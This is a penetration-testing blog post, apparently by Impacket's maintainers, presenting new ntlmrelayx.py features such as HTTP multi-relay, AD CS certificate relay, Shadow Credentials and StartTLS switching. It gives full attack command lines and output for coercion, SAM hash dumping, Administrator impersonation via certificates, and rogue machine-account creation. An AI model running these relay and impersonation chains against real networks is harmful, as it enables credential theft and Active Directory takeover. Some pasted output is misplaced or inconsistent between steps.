A guide to relaying credentials everywhere in 2022
NTLM relay is a well-known technique that has been with us for many years and never seems to go away. Almost every article about NTLM relay could start with that phrase. It could be a cliché but it’s almost true. The first implementation of this attack date back to 2001 (SMBRelay by Sir Dystic of Cult of The Dead Cow) and more than 20 years later is still a widely used method to gain control of an Active Directory environment from a black box context.
PetitPotam, an NTLM coercion method that abuses [MS-EFSR] implemented by Gilles Lionel, or the post-relay attacks ADCS [ESC1], [ESC2] and [ESC8] researched by Will Schroeder and Lee Christensen are some examples that this method is still valid. As we enjoy relaying credentials, we’ve updated ntlmrelayx.py to include all these things and implement new ones, such as the multi-relay feature extension to HTTP, the Shadow Credentials attack or the StartTLS protocol.
The purpose of this article is to review the main changes and additions of the tool, focusing on the multi-relay feature and giving a technical guide on how to perform the attack from the scratch.
NTLM relay explained. General concepts
Let’s review some general concepts before starting. I promise I’ll be brief.
If you are familiar with these concepts, you can skip to the next section.
What’s NTLM? New Technology LAN Manager (NTLM) is a challenge-response-based protocol used for authentication between clients and servers in Windows environments. These kinds of protocols use a shared secret, in this case, the client password.
NTLM is encapsulated within other application protocols such as HTTP, MSSQL, SMB, or SMTP that require user authentication. It relies on a three-way handshake between the client and server to authenticate a user:
- The client sends a NEGOTIATE_MESSAGE which advertises his capabilities.
- The server responds with a CHALLENGE_MESSAGE to establish the identity of the client.
- The client encrypts the challenge with its secret and responds with an AUTHENTICATE_MESSAGE that includes that encrypted challenge, the username, the hostname, and the domain name.
After that, the server verifies the challenge with the client’s password hash and checks its identity. Finally, the client is authenticated and has a valid session with the server. At no point in the process does the client’s secret pass through the network.
So, how this process could be abused? As an attacker, we have to manage to be in a man-in-the-middle (MitM) position between the client and the server. That means, intercepting a connection, or getting a victim to connect us instead of with the real server. Then, we forward the messages between the victim and the server until the challenge-response cycle finishes and get a valid session.
It looks simple, but how can we get that position? Printerbug (MS-RPRN abuse), Petitpotam (MS-EFSR abuse), WPAD spoofing or name poisoning (LLMNR, NBT-NS, mDNS spoofing) are some examples.
If you’re interested in knowing more about coerced authentications and MitM techniques check out this section of The Hacker Recipes
At this point, you may be wondering, if the protocol is so old, shouldn’t there be some mitigation for this attack? Yes, session signing. It consists in placing a digital sign on each session message at the packet level, which is then verified by both the client and the server. Since the attacker doesn’t know the secret of the victim’s account, they won’t be able to sign any message on behalf.
To mitigate this attack, signing has to be in place on the target server-side. Why? Because signing doesn’t protect authentication. Once the session signing fails on the victim-side, the authentication was already relayed, and the session with the server was established.
SMB, LDAP, and HTTP support signing, but by default, server-side signing is enabled only on Domain Controllers and only for SMB.
If you want to learn more about NTLM relay, I totally recommend this article by HackAndDo.
Ok, we already know the basics of NTLM, we learn how to obtain traffic we can relay, and what are the mitigations. What’s next? Attack!
How to attack I. NTLMrelayx basics
What do we use to attack? Obviously, ntlmrelayx.py, part of the Impacket library. This tool was introduced by Dirk-Jan Mollema as an extension of smbrelayx.py.
This script performs NTLM relay attacks setting an SMB, HTTP, WCF and RAW (processes any incoming authentication request) server and relaying credentials to many different protocols, such as IMAP, HTTP, LDAP, MS-SQL, SMB, and SMTP. That is called cross-protocol relaying. Since NTLM can be embedded within other application protocols, an attacker can take the NTLM messages out from one protocol and used them in other. For instance, with an incoming HTTP connection, we could target a host via LDAP.
Check out this chart form The Hacker Recipes to better understand the cross-protocol attacks.
How do we get the tool? Download Impacket from the GitHub repo, extract the package and execute python3 -m pip install . from the directory where it has been unpacked.
ntlmrelayx.py can be used with predefined attacks that can be triggered when a connection is relayed (e.g., create a user through LDAP or dump the local SAM database) or can be executed in SOCKS mode. In this mode, the authentication sessions will remain active to be used multiple times later through a SOCKS proxy.
For more info about the SOCKS support, check out this blog post by @agsolino.
How to attack II. The Multi-relay feature
In Impacket version 0.9.21, we introduced a new approach to ntlmrelayx.py, the multi-relay feature. What does that addition mean? Basically, this functionality gives us two main capabilities for our attacks: first, we can identify the users who are connecting us, and based on that, decide if we want to relay them. And secondly, as the feature name indicates, we can relay a single incoming connection to multiple targets.
Before this, our attacks were one-shot style (one incoming connection → one attack), and we weren’t able to identify our victims until we had already relayed the authentication (the username is included in the last message of the NTLM process). Big improvement, isn’t it?
How does it work? The approach we’re using is to authenticate users locally, against our server, grab their identities, and then forces them to reauthenticate. Finally, we’ll relay this reauthentication to each of our targets repeating the same process.
A step-by-step process would be as follow:
- The client authenticates locally. We grab its identity and validate it.
- We force the client to reauthenticate (the trick).
- The client reauthenticate us.
- This reauthentication will be what we’ll finally be relaying to the targets.
- Repeat and profit.
This solution is protocol-dependent, so each protocol has its own implementation. Initially, the approach was added only in the SMB server, where we used the Session Expired trick* for reauthentication.
* Do you remember that trick? After a successful authentication in SMB what always happens is a TreeConnect request against the IPC$ share. Once we receive it, we send a TreeConnect response with the status field: STATUS_NETWORK_SESSION_EXPIRED. This will force the client to reauthenticate us.
How to attack III. Defining targets
We already know the basics of how the NTLM relay attack works, what’s next? Well, the obvious answer: attacking, and what do we need for that? First, we have to define our targets. ntlmrealyx.py have two options for specifying them: using the -t or -tf parameters. The first one for a single target and the second one for a file that includes multiple targets.
Let’s suppose we know the number of targets we want to attack. How do we specify them? Since the multi-relay feature addition, the target definition has changed. As now we can identify users before relaying their credentials, we can define named targets. So, when specifying our targets to attack, we have two kinds of candidate options: named candidates (targets with identity specified) and general candidates (just targets without identity).
The target definition follows the URI format. The syntax consists of a hierarchical sequence of three components: scheme//:authority/path
- Scheme: defines the protocol to target (e.g., smb, ldap, http, all). If the scheme is empty, the default protocol will be smb. If the wildcard keyword all is selected, all the supported protocols will be used.
- Authority: in the form of domain\username@host:port. If we’re defining only general candidates, we don’t need the domain\username part.
- Path: optional and only used for specific attacks (e.g., HTTP attack when a BASE URL is needed: http://server.domain.com/certsrv/certfnsh.asp)
Let’s review some targets definitions to better understand how the relay will work. Let’s start with a named candidate. If we define a target as smb://domain.com\leandro@192.1.1.1, we’ll target host 192.1.1.1, protocol SMB, only when domain.com\leandro is connecting.
On the other hand, if we are attacking general candidates, a target example could be ldap://192.1.1.1. In this case, we’ll relay the credentials to the LDAP service of the host 192.1.1.1 when any user is connecting.
Let’s see a straightforward attack example. Let’s try to dump the target’s local SAM database, an SMB-to-SMB relay attack. For that, we start the tool defining a single named target and wait for an incoming connection. In this case, we’re only interested in getting the Administrator credentials, so we set domain.com\Administrator@192.168.195.19 as the target:
attacker@kali:~# ntlmrelayx.py -t domain.com\Administrator@192.168.195.19
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[…]
[*] Servers started, waiting for connections
To coerce the incoming SMB authentication, we’ll use Responder (LLMNR/NBT-NS Poisoning). Before running it, we need to modify the Responder.conf file and disable the SMB server, because we’ll use that server in ntlmrelayx.py.
attacker@kali:~# Responder.py -I eth0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.1.0
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[…]
Suppose we trick the Administrator user to access a malicious SMB share (that doesn’t exist). That will trigger a series of LLMNR/NBT-NS requests and there’s where Responder comes in, making the victim connect to our server. We have an incoming authentication:
[…]
[*] SMBD-Thread-5: Received connection from 192.168.195.17, attacking target smb://192.168.195.19
[*] Authenticating against smb://192.168.195.19 as DOMAIN/ADMINISTRATOR SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x3db2cfde5783df986c8770b22919c58f
[*] SMBD-Thread-7: Connection from 192.168.195.17 controlled, but there are no more targets left!
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:d3b821714b42c31fdc286a71e1608dc6:::
admin:1000:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
[*] Done dumping SAM hashes for host: 192.168.195.19
[…]
Done! We dumped the SAM database.
What’s new #1? Multi-relay in HTTP Server
As we mentioned before, the multi-relay capability was implemented only in the SMB server… until now. With the Impacket version 0.10.0 release we decided to change that and extended the feature to HTTP.
How we did it? If you remember the previous multi-relay section, the key of this feature is the trick that makes the victim reconnect to us after the local authentication. In SMB, it was the Session Expired message. As the trick is protocol dependent, we had to found something similar for HTTP. The answer was the 307 Temporary Redirect status response code.
From the RFC 7231 [Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content]:
The 307 (Temporary Redirect) status code indicates that the target resource resides temporarily under a different URI and the user agent MUST NOT change the request method if it performs an automatic redirection to that URI. […] The server SHOULD generate a Location header field in the response containing a URI reference for the different URI. The user agent MAY use the Location field value for automatic redirection.
So, we refactored the HTTP server to include a local authentication, and just after receiving the Authenticate_Message from the victim, we send a 307 Temporary Redirect that includes a new URL (keeping the host and adding a random path) in the Location header. After that, the client will connect to the new URL. We’ll receive that request, and we’ll respond with a 401 Unauthorized message containing NTLM in the WWW-Authenticate header.
From the RFC 7231 [Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content]:
The 401 (Unauthorized) status code indicates that the request has not been applied because it lacks valid authentication credentials for the target resource. The server generating a 401 response MUST send a WWW-Authenticate header field containing at least one challenge applicable to the target resource.
With this message, the victim will start a new NTLM authentication process and the credentials obtained here will be relayed to the target. We can repeat the redirection trick until we consume all targets.
Summarizing, the process would be as follow:
- The client authenticates locally. We grab its identity and validate it.
- The attacker forces the client to reauthenticate with a 307 Temporary Redirect including a new URL for the redirection. The client requests the new URL, and the attacker forces the client to send its NTLM authentication credentials with a 401 Unauthorized message.
- The client starts a new NTLM authentication process.
- The attacker relays the NTLM credentials to target #1.
- Repeat and profit.
What’s new #2? Disabling multi-relay
Multi-relaying is not all roses. There are some scenarios where the multi-relay feature doesn’t work. For example, what happens when SMB signing is being enforced on the client-side?
With the one-shot approach nothing bad happens, everything works as expected. As we said before, signing doesn’t protect authentication, and at the session time, we’ve already relayed the credentials to the target. However, with the multi-relay approach everything changes. Now, we need the victim re-connect us, but as we can’t sign any session message, we can keep the connection alive and never receive the TreeConnect request. No TreeConnect no re-authentication. Game over.
Let’s see a practical example to better understand the situation. We have two boxes involved, the attacker machine, 192.168.195.129, and the victim host, 192.168.195.19, that has SMB signing enabled. The attacker coerces a victim to authenticate him via SMB. That is the local authentication, where the attacker will obtain the user identity of the victim. When authentication finishes, the attacker sends a STATUS_SUCCESS message to the victim and waits for the TreeConnect request. This will never happen because the client will check the signature of the message and drops the connection.
In that scenario, we thought that it would be great to have a flag to disable the multi-relay feature. So, we included that option in the refactoring. Now, you can use the –no-multirelay flag to disable multi-relaying and use the one-shot approach.
On top of that, we modified the default settings.Multi-relaying is the default behavior for the HTTP and SMB server, except for the case where we’re attacking a single general target (check the Defining Targets section). In that scenario, as we don’t need to identify a user and we’re targeting a single host, we disable multi-relaying by default (you don’t need to set the flag).
Target type | Example | Multi-relay by default |
Single general target | -t 192.168.1.1 | Disabled |
Single named target | -t domain\leandro@192.168.1.1 | Enabled |
Multiple targets file | -tf targetsfile.txt | Enabled |
What’s new #3? Attacking Certificate Services
Active Directory Certificate Services (AD CS) was a hot topic last year. Will Schroeder and Lee Christensen published a paper where they detailed several aspects of the security of the Microsoft’s PKI implementation, including a set of common misconfigurations that can result in domain escalation.
In our previous release, we included one of those domain escalation attacks referred as “NTLM relay scenario to AD CS web enrollment endpoints [ESC8]”. @ExAndroidDev implemented a new option –adcs to enable the AD CS relay attack. In a few words, the attack consists in relaying a user or machine authentication to the endpoint http://<ADCSSERVER>/certsrv/ and getting a certificate using option –template. With that, the attacker can request a TGT and become the victim on the network.
The command line for the attack would be something like this:
attacker@kali:~# ntlmrelayx.py -t http://adhost.domain.com/certsrv/certfnsh.asp --adcs --template vulnerable -smb2support
In this opportunity, @hugow_vincent added support for [ESC1] and [ESC6] attacks. The addition allows us to specify a Subject Alternative Name in the Certificate Signing Request (CSR), using option –altname, to impersonate a user if a template is vulnerable to [ESC1] or if the EDITF_ATTRIBUTESUBJECTALTNAME2 flag is set [ESC6].
Let’s take a look at the attack process. First, let’s examine the AD CS options:
attacker@kali:~# ntlmrelayx.py -t ldaps://adhost.domain.com -no-da --no-acl --no-validate-privs --add-computer 'EVIL_PC$' -smb2support
[…]
[*] HTTPD: Received connection from 192.162.195.17, attacking target ldap://adhost.domain.com
[*] Authenticating against ldap://adhost.domain.com as domain\DESKTOP1$ SUCCEED
[*] Assuming relayed user has privileges to escalate a user via ACL attack
[-] Adding a machine account to the domain requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLS
[*] Attempting to create computer in: CN=Computers,DC=domain,DC=local
[*] Adding new computer with username: EVIL_PC$ and password: L+v7706Kid+ir)tt result: OK
To start the attack, we have to define the user we want to impersonate, ‘Administrator’, and the certificate template for the CSR, ‘vulnerable’. With everything in place, we run ntlmrelayx.py and wait for the victim connection.
attacker@kali:~# ntlmrelayx.py -t http://adhost.domain.com/certsrv/certfnsh.asp –adcs –template vulnerable –altname Administrator
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[…]
[*] Servers started, waiting for connections
[…]
We coerce an incoming HTTP connection, it could be using mitm6.py and trigger a user to browser an internal resource via (DHCPv6 spoofing). In this case, the low-privileged user Leandro authenticates against our HTTP server:
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Connection from 192.168.195.19 controlled, attacking target http:// adhost.domain.com
[*] HTTPD(80): Client requested path: /
[*] HTTP server returned error code 200, treating as a successful login
[*] HTTPD(80): Authenticating against http://adhost.domain.com as DOMAIN/LEANDRO SUCCEED
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 12
[*] Base64 certificate of user LEANDRO:
MIIRfQIBAzCCEUcGCSqGSIb3DQEHAaCCETgEghE0MIIRMDCCB2cGCSqGSIb3DQEHBqCCB1gwggdUAgEAMI[…]8rg==
[*] This certificate can also be used for user : Administrator
The attack is successful! We obtain a Base64 certificate that can be used to get a TGT to impersonate user Administrator. For that, we’ll use the gettgtpkinit.py tool by @_dirkjan. This tool will allow us to request a TGT using a PFX base64 encoded blob and save it as a Credential Cache (ccache) file.
We copy the certificate from the previous output, and define the IP address of the Domain Controller, the username of our target to impersonate, and the name of the ccache file where we’ll save the credentials.
attacker@kali:~# python3 gettgtpkinit.py -pfx-base64 ‘MIIRfQIBAzCCEUcGCSqGSIb3DQEHAaCC[…]8rg==’ -dc-ip 192.168.195.2 'domain.com/Administrator' Administrator.ccache
2022-05-09 15:16:28,867 minikerberos INFO Loading certificate and key from file
2022-05-09 15:16:28,959 minikerberos INFO Requesting TGT
2022-05-09 15:16:40,979 minikerberos INFO AS-REP encryption key (you might need this later):
2022-05-09 15:16:40,980 minikerberos INFO ac12f90531d41dc0929ba722599118d9ec389bae8ff17f01ba7d398eb1d5d294
2022-05-09 15:16:40,982 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
If everything is OK, we’ll obtain a TGT saved in Administrator.ccache.
Final step! We load those credentials setting the KRB5CCNAME environment variable and execute wmiexec.py.
attacker@kali:~# export KRB5CCNAME=Administrator.ccache
attacker@kali:~# wmiexec.py -k -no-pass domain.com/Administrator@adhost.domain.com
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\> whoami
domain\administrator
Voilà! We’ve impersonated the Administrator user.
What’s new #4? Shadow Credentials
We’ve talked a lot about NTLM, let’s focus on Kerberos for a while. Kerberos is the main authentication protocol used in Windows domains to validate the identity of a security principal. For that, it uses symmetric cryptography, between the client and the server, and implements the concept of tickets to validate those identities.
There are two kinds of tickets, a Ticket Granting Ticket (TGT) that validates the identity of a principal, and a Service Ticket that is used by that principal to authenticate to different services in the domain. Before the TGT is issued, the client has to prove its identity via a pre-authentication step. This pre-auth could be validated symmetrically, the most widely implemented approach, for example encrypting a timestamp with a symmetric key derived from the client’s password, or asymmetrically. In this group, we can find the PKINIT approach.
In PKINIT, the client has a public-private key pair and encrypts the pre-auth data with the private key. Then, the server decrypts the data with the client’s public key. Usually, client and server exchange their public keys using certificates. However, there are some environments that don’t support certificates. For those scenarios, Microsoft introduced the Key Trust concept, where PKINIT uses the raw key instead of certificates. Where is that key saved? In an Active Directory attribute called msDS-KeyCredentialLink. And what would happen if an attacker takes control of an account that can modify this attribute of another account? Well, the attacker could add alternative credentials to the target account: The Shadow Credentials attack! With that in place, the attacker can obtain a TGT an impersonate the victim.
Elad Shamir introduced the attack in this blog post and released Whisker that implements it.
So, how can abuse this technique? Well, Impacket also has its implementation. @ShutdownRepo, @Tw1sm, @nodauf and @p0dalirius added the Shadow Credentials relay attack in ntlmrelaxy.py. Let’s check out the new options:
attacker@kali:~# ntlmrelayx.py -h
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[…]
Shadow Credentials attack options:
--shadow-credentials Enable Shadow Credentials relay attack (msDS-KeyCredentialLink manipulation for PKINIT pre-authentication)
--shadow-target SHADOW_TARGET
target account (user or computer$) to populate msDS-KeyCredentialLink
--pfx-password PFX_PASSWORD
password for the PFX stored self-signed certificate (will be random if not set, not needed when exporting to PEM)
--export-type {PEM, PFX}
choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))
--cert-outfile-path CERT_OUTFILE_PATH
filename to store the generated self-signed PEM or PFX certificate and key
We set a target, it could be a user or a computer account, and define the certificate output. With than in place, we’re ready. Let’s run the attack and wait for a victim:
attacker@kali:~# ntlmrelayx.py -t ldap://adhost.domain.com --shadow-credentials --shadow-target vulnerable --cert-outfile-path victim --no-dump -no-da --no-acl --no-validate-privs
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[…]
[*] Servers started, waiting for connections
[…]
Let’s suppose we force Leandro to connect us via HTTP. This user has the proper rights to manipulate the msDS-KeyCredentialLink attribute of the vulnerable user:
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Connection from 192.168.195.32 controlled, attacking target ldap://192.168.195.30
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Authenticating against ldap://adhost.domain.com as DOMAIN/LEANDRO SUCCEED
[*] Searching for the target account
[*] Target user found: CN=vulnerable,CN=Users,DC=domain,DC=com
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: a79f8bdd-0310-dfd9-b630-7bf83e9faaf9
[*] Updating the msDS-KeyCredentialLink attribute of vulnerable
[*] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Saved PFX (#PKCS12) certificate & key at path: BOtaXVhh.pfx
[*] Must be used with password: c9ThuaFyR4gLZcSlfs72
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
[*] Run the following command to obtain a TGT
[*] python3 PKINITtools/gettgtpkinit.py -cert-pfx victim.pfx -pfx-pass c9ThuaFyR4gLZcSlfs72 domain.com/vulnerable victim.ccache
It worked! Using gettgtpkinit.py again, we can obtain a ccache of the victim.
attacker@kali:~ # python3 gettgtpkinit.py -cert-pfx certificate.pfx -pfx-pass t1LCyKPt2teMIbAiU1sS domain.com/vulnerable certificate.ccache
After that, as we did in the previous example, we can export those credentials and use wmiexec.py to execute code on a target host on behalf of that user.
What’s new #5? StartTLS
We’ve mentioned signing as a protection that mitigate NLTM relay attacks, but there are other ones, for example, LDAP Channel Binding. What is it? The idea of Channel Binding is to tie the TLS tunnel and the LDAP application layer together to create a unique fingerprint for the LDAP communication. Any interception of that communication will result in a new TLS tunnel, and in consequence, a new fingerprint that won’t match with the previous stablished.
So, what happens if Channel Binding is in place, and we need to create a machine account? Let’s try it with the previous Impacket version. We target the AD host trying to add an EVILPC.
attacker@kali:~# ntlmrelayx.py -t ldaps://adhost.domain.com --no-dump --no-da --no-acl --no-validate-privs --add-computer EVILPC$ -smb2support
Impacket v0.9.24 - Copyright 2022 SecureAuth Corporation
[…]
In this scenario, we need an HTTP incoming connection, let’s try something new with Responder.py and Petitpotam.py (WebDav abusing). If our victim system has the WebClient service running, we can force this remote system to authenticate against us.
What do we need? First, we need to create a valid WebDAV Connection String. The format of this string is: \\SERVER@PORT\PATH. The server part of the string must be a NetBIOS or DNS name. How do we obtain a valid NetBIOS name? Using Responder. This tool creates some session variables, one of them is the attacker machine name:
attacker@kali:~# Responder.py -I eth0
[…]
[+] Current Session Variables:
Responder Machine Name [WIN-U4RKE3INAT8]
[…]
We got our string: WIN-U4RKE3INAT8@80/randomfile.txt, how do we continue? We need a low-privileged user credentials and our victim host. So, let’s suppose we obtained some valid credentials from user Leandro and we know that Desktop1$ has the WebClient service running.
Everything is in place! We can run Petitpotam as follow:
petitpotam.py -d domain -u leandro -p superpass WIN-U4RKE3INAT8@80/randomfile.txt 192.168.195.17
___ _ _ _ ___ _
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)
Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
[-] Connecting to ncacn_np:192.168.195.17[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
WebDav abuse worked, and the incoming connection is received:
[*] HTTPD: Received connection from 192.162.195.17, attacking target ldaps:// adhost.domain.com
[*] Authenticating against ldaps://adhost.domain.com as domain\DESKTOP1$ FAILED
However, as we expected, the attack would fail. Don’t panic! Active Directory LDAP implements StartTLS, and it can be used to bypass the Channel Binding requirement of LDAPS for some relay attacks that involve sensitive operations, such as the machine account creation of our previous example (LDAP singing must be disabled).
With that in mind, @lowercase_drm implemented an automatically StartTLS switching in ntlmrelayx.py. Now, if we try the attack again with the new Impacket version, it’ll work:
attacker@kali:~# ntlmrelayx.py -t ldaps://adhost.domain.com -no-da --no-acl --no-validate-privs --add-computer 'EVIL_PC$' -smb2support
[…]
[*] HTTPD: Received connection from 192.162.195.17, attacking target ldap://adhost.domain.com
[*] Authenticating against ldap://adhost.domain.com as domain\DESKTOP1$ SUCCEED
[*] Assuming relayed user has privileges to escalate a user via ACL attack
[-] Adding a machine account to the domain requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLS
[*] Attempting to create computer in: CN=Computers,DC=domain,DC=local
[*] Adding new computer with username: EVIL_PC$ and password: L+v7706Kid+ir)tt result: OK
This attack also can be used to bypass network filtering, for example, there are some scenarios where LDAPS is blocked but LDAP is not. In those cases, we just target LDAP, and StartTLS will be used automatically.
For more info check out this blog post by @lowercase_drm.
Final Notes
I hope this blog post has been clear to address the basics of ntlmrelayx.py, how the multi-relay feature works, and the details of all the new additions.
As usual, feedback and PRs are very welcome. Contributions from the community are the mainstay of Impacket.
If you have any doubts, questions, or suggestions, don’t hesitate to contact me at @0xdeaddood or drop us a few lines at oss@secureauth.com.
Acknowledgments
- Dirk-Jan Mollema (@_dirkjan) for his initially work on ntlmrelayx.py and the gettgtpkinit.py tool.
- Laurent Gaffie (@PythonResponder) for the Responder tool.
- Elad Shamir (@elad_shamir) for the Shadow Credentials attack and the Whisker tool.
- Charlie Bromberg (@ShutdownRepo) for The Hacker Recipes.
- @zblurx, @hackanddo, @hugo-syn, @ShutdownRepo, @Tw1sm, @nodauf, @p0dalirius, and @ThePirateWhoSmellsOfSunflowers for the awesome ntlmrelayx.py additions!
- Martin Gallo (@MartinGalloA) for peer reviewing this blog post.
- Alberto Soliño (@agsolino) for Impacket!